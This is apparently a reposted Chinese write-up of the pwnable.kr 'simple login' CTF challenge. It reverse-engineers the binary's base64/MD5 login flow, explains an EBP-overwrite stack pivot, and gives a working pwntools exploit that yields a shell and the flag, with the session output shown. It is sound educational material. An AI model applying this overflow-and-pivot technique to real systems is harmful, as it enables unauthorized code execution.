您的位置:首页 > 其它

pwnable.kr [Rookiss] - [simple login]

2017-03-23 22:46 351 查看
Can you get authentication from this server?

Download : http://pwnable.kr/bin/login

Running at : nc pwnable.kr 9003

Rookiss 初体验就从相对熟悉的逆向这一块开始好了。

下载好文件后发现是 elf 64 ,在虚拟机上简单跑一跑,要求输入一个 Authenticate ,程序会返回一个 hash 值,猜测是登录验证需要验证 hash,随即猜测正常流程应该走不通。而 romote host 又无法实现爆破,再猜测是需要溢出 :P

然后到物理机用 IDA 直接静态分析程序流程,茫茫多的静态模块….

不过还好程序流程并不复杂,粗略看了 IDA 的流程分析后,可以直接在程序入口处 F5, F4, F3;当前也可以直接看!

分析程序流程的过程无法用简单的语言描述, 反正看就是了。

笔者通过 IDA 插件转化的伪代码和汇编指令结合分析执行流程。

main 函数的 Snowman F3 插件转换的伪代码如下:

int32_t main() {
void** esp1;
int32_t v2;
int32_t eax3;
int32_t eax4;
void* esp5;
void** esp6;
uint32_t eax7;
int32_t eax8;

esp1 = (void**)(((uint32_t)((int32_t)"zero stack offset"() - 4) & 0xfffffff0) - 64);
memset((uint32_t)esp1 + 30, 0, 30, v2);
eax3 = g811b860;
setvbuf(eax3, 0, 2, 0);
eax4 = g811b864;
setvbuf(eax4, 0, 1, 0);
printf("Authenticate : ", 0, 1, 0);
esp5 = (void*)(esp1 - 1 + 1 - 1 + 1 - 1 + 1 - 1 + 1);
__isoc99_scanf("%30s", (uint32_t)esp5 + 30, 1, 0);
memset(0x811eb40, 0, 12, 0);
esp6 = (void**)((uint32_t)esp5 - 4 + 4 - 4 + 4);
eax7 = Base64Decode((uint32_t)esp6 + 30, esp6 + 6, 12, 0);
if (eax7 > 12) {
puts("Wrong Length", esp6 + 6, 12, 0);
} else {
memcpy(0x811eb40, 0, eax7, 0);
eax8 = auth(eax7, 0, eax7, 0);
if (eax8 == 1) {
correct(eax7, 0, eax7, 0);
}
}
return 0;
}


分析得到程序的大致执行流程如下:

main 函数执行输入 Authenticate

Authenticate 由 Base64 解码后判断长度是否大于12,大于则提示 Wrong Length

输入长度合理将解码后的字串用 memcpy 函数存入0x8114b40处

之后转入 auth 函数,参数中包含解码后的字串和其长度

auth 函数通过 memcpy 复制内容到一个 int 类型的局部变量中

计算参数的 md5 hash 并与 f87cd601aa7fedca99018a8be88eda34 相比较

比较结果如果为相等,则返回 true,否则返回 false

返回 main 函数,判断 auth 函数的返回值

如果 auth 返回 false,则程序退出

如果 auth 返回 true ,进入correct 函数

判断地址 0x811eb40 处前 8 个字节是否为 0xdeadbeef,若是,则输出成功信息并得到 shell ;否则退出程序

简单分析完毕后差不多就有一点思路了,正常流程既要验证 hash,前8个字节又要固定,基本是不可能的。

这里主要还是要利用栈溢出。溢出的点自然是在auth 函数调用的 memcpy 这里了。为了准确性这里直接分析该位置的汇编代码:



可以看到在
call  memcpy
mem(des, src, len) ,上方依次压入了三个参数(从右到左),分别是 len ,src,des。通过计算 0Ch + var_14 = 0Ch - 14h = -8,可知 des 的地址在 ebp 的上方(低地址处),偏移为 8 字节,而我们最多可输入 12 字节的内容,所以当输入 12 字节时,ebp 会被淹没。故而可以通过控制 ebp 的值来控制程序流程。

auth 返回处的汇编代码如下:

.text:0804930B                 leave
.text:0804930C                 retn


这两个指令可以转化为

mov esp, ebp  ;esp的内容为ebp指向的栈地址
pop ebp       ;ebp = ebp指向的栈地址中保存的值,esp + 4

pop eip       ;程序转到 esp + 4 指向的地址执行


在这个程序中,只有输入的字串 Authenticate 是完全由我们控制的,设这里 Authenticate 经过 Base64 解码后为 playload。

那么第一次 leave retn 执行结束后,ebp = 淹没的 4 字节数据,即 playload 的最后 4 个字节内容;

第二次 leave retn 执行结束时,执行
mov  esp, ebp
使得 esp 为 playload 最后 4 个字节的值,两次pop 后,得到 eip = playload 最后 4 个字节的值 + 4 的空间中保存的值。

接下来的问题是怎么构造 playload。由于 playload 为 12 字节,而这里淹没的数据块和劫持流程的地址加起来为 8 字节,所以这里 playload
4000
很好地满足跳板的要求。

这里我们构造 playload 最后 4 个用来淹没 ebp 的字节值为 playload 的起始地址;中间 4 个字节的值就可以传递到 eip 来控制程序流程,头 4 个字节作为长度填充(当然也可以在 playload 前 8 个字节中任选4字节位置放入需要传递给 eip 的值,最后 4 字节的值为所需 eip 的值的地址 - 4 即可,其他 4 字节内容作为填充)。

中间的 4 个字节比较好分析,直接到 correct 函数的输出成功信息处:(跳过前4个字节的验证)



可以看到需要劫持程序前往的地址为0x08049278。

最后还需要去找 playload 的起始地址,最简单的方法就是在 IDA input offset 处双击即可看到:





可以看到 playload 的起始地址为 0x0811EB40。

终于可以写 exploit 了!填充内容是什么无关紧要,本着尊敬题目的原则,playload起始 4 字节的内容在这里还是根据 ‘0xdeadbeef’ 来进行 Base64 加密,用 pwntools 构造 exploit如下:

from pwn import *

FILL = 0xdeadbeef
SHELL = 0x08049278
BUF = 0x0811EB40
HOST = "pwnable.kr"
PORT = 9003

loginer = remote(HOST, PORT)
playload =  (p32(FILL) + p32(SHELL) + p32(BUF)).encode("base64")

loginer.recvuntil("Authenticate :")
loginer.sendline(playload)

loginer.interactive()

loginer.close()


不出意外地得到了 shell:

$ python exploit_login.py
[+] Opening connection to pwnable.kr on port 9003: Done
[*] Switching to interactive mode
hash : b307a813333efb8b1a35c6e5b5cbbabe
Congratulation! you are good!
$ ls -l
total 7852
-r--r----- 1 root simplelogin      58 Jun 10  2014 flag
-rw------- 1 root root        7070263 Mar 23 07:26 log
-r-xr-x--- 1 root simplelogin  955184 Jun 10  2014 simplelogin
-rwx------ 1 root root            784 Oct 23 07:43 super.pl
$ cat flag
control EBP, control ESP, control EIP, control the world~


正如 flag 说的,溢出的核心在我看来就是利用程序的某个漏洞找到跳板,绕过程序的各个验证机制,逐步劫持执行流程的过程。

切莫贪食,切莫不食。路还很长。

ELF 文件的逆向往往不像 PE 一般可以通过一些强大的 debugger 像 OllyDbg 和 WinDbg一样可以很简洁明了地进行调试,但也可以通过一些调试工具如 gdb 等进行动态分析。笔者在分析这题的 elf64 文件时就用到了 IDA 的远程动态调试功能 Remote Linux Debugger 来分析 ebp 被淹没后程序的执行流程,简单的搭建和操作之后会有介绍。
内容来自用户分享和网络整理,不保证内容的准确性,如有侵权内容,可联系管理员处理 点击这里给我发消息